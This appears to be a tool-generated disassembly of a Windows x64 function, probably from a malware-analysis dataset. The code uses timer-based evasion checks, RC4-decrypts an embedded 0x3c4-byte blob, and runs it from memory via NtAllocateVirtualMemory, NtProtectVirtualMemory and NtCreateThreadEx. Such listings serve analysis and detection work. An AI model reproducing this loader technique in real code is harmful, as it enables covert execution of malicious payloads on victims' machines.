Function at 0x1400010f0
Capabilities:
Create thread
Terminate process

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
xor r9d, r9d
xor ecx, ecx
mov r8d, 0x2328
lea edx, [r9 + 1]
call qword [sym.imp.USER32.dll_SetTimer]
xor r15d, r15d
lea r9, [rbp + 0x5d8]
lea r8, [0x140001070]
mov qword [rbp + 0x5d8], rax
mov qword [rsp + 0x28], r15
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
lea rcx, [rsp + 0x78]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400011cb
nop
cmp dword [rbp - 0x80], 0x113
jne 0x140001176
mov rax, qword [rbp + 0x5d8]
cmp qword [rbp - 0x78], rax
je 0x1400011a5
lea rcx, [rsp + 0x78]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x78]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001160
jmp 0x1400011cb
lea rdx, [rbp + 0x5c0]
mov dword [rbp + 0x5c0], r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rdx, qword [rbp + 0x5d8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.bbbbbbbbbbbb_n
call fcn.140001010
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea r9, [rbp + 0x5c0]
mov qword [rsp + 0x28], r15
lea r8, [0x140001080]
mov qword [rbp + 0x5c0], rax
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbp + 0x5c0]
mov edx, 0x2328
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x14000123f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, [rbp + 0x5c0]
mov qword [rsp + 0x688], r14
lea rdx, [rbp + 0xb0]
call fcn.1400010b0
lea r8, [rbp + 0x1b0]
mov eax, 7
lea rcx, str.nCJ_
nop dword [rax]
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [r8 - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [r8 - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 - 0x20], xmm0
movups xmmword [r8 - 0x10], xmm1
sub rax, 1
jne 0x140001270
movups xmm0, xmmword [rcx]
mov edx, dword [rcx + 0x40]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
mov ecx, 0x3c4
movups xmmword [r8 + 0x20], xmm0
movups xmmword [r8 + 0x30], xmm1
mov dword [r8 + 0x40], edx
call fcn.140007404
mov r14, rax
test rax, rax
jne 0x14000131c
lea rcx, str.aaaaaa_n
call fcn.140001010
mov eax, 1
jmp 0x14000155a
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x60]
mov qword [rbp + 0x5d0], r15
lea rdx, [rbp + 0x5d0]
mov qword [rsp + 0x60], 0x2000
mov dword [rsp + 0x20], 0x3000
lea rcx, [r8 - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x140001312
mov qword [rsp + 0x698], rsi
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x690], rdi
mov eax, r15d
mov r9d, 0x100
nop word [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, r9d
jl 0x140001380
mov rdi, qword [rbp + 0x5c0]
lea r10, [rbp - 0x50]
xor r11b, r11b
mov rbx, r15
nop
movzx r8d, byte [r10]
lea rcx, [rbp - 0x50]
xor edx, edx
lea r10, [r10 + 1]
mov rax, rbx
inc rbx
div rdi
movzx eax, r8b
add al, byte [rbp + rdx + 0xb0]
add r11b, al
movzx eax, r11b
add rcx, rax
movzx eax, byte [rcx]
mov byte [r10 - 1], al
mov byte [rcx], r8b
sub r9, 1
jne 0x1400013a0
xor bl, bl
lea rdi, [rbp + 0x1b0]
sub rdi, r14
mov r10d, r15d
mov r11, r14
mov esi, 0x3c4
inc r10d
and r10d, 0x800000ff
jge 0x14000140c
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rax, r10d
lea r9, [rbp - 0x50]
add r9, rax
lea rcx, [rbp - 0x50]
movzx edx, byte [r9]
add bl, dl
movzx eax, bl
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], dl
movzx ecx, byte [r9]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x50]
xor cl, byte [rdi + r11]
mov byte [r11], cl
inc r11
sub rsi, 1
jne 0x1400013f3
mov rcx, qword [rbp + 0x5d0]
mov r8d, 0x3c4
mov rdi, qword [rsp + 0x690]
mov rdx, r14
mov rsi, qword [rsp + 0x698]
call fcn.140003270
lea rax, [rbp + 0x5c8]
mov dword [rbp + 0x5c8], r15d
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 0x5d0]
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x1400014b2
mov eax, 2
jmp 0x14000155a
mov rax, qword [rbp + 0x5d0]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r15
xor r8d, r8d
mov qword [rsp + 0x40], r15
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x14000151e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___xxxxxxxxxxx__u__n
call fcn.140001010
mov eax, 3
jmp 0x14000155a
mov rcx, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x70], 0xffffffffc4653600
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001558
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____aaaaaaa_n
call fcn.140001010
mov eax, 4
jmp 0x14000155a
xor eax, eax
mov r14, qword [rsp + 0x688]
add rsp, 0x6a0
pop r15
pop rbx
pop rbp
ret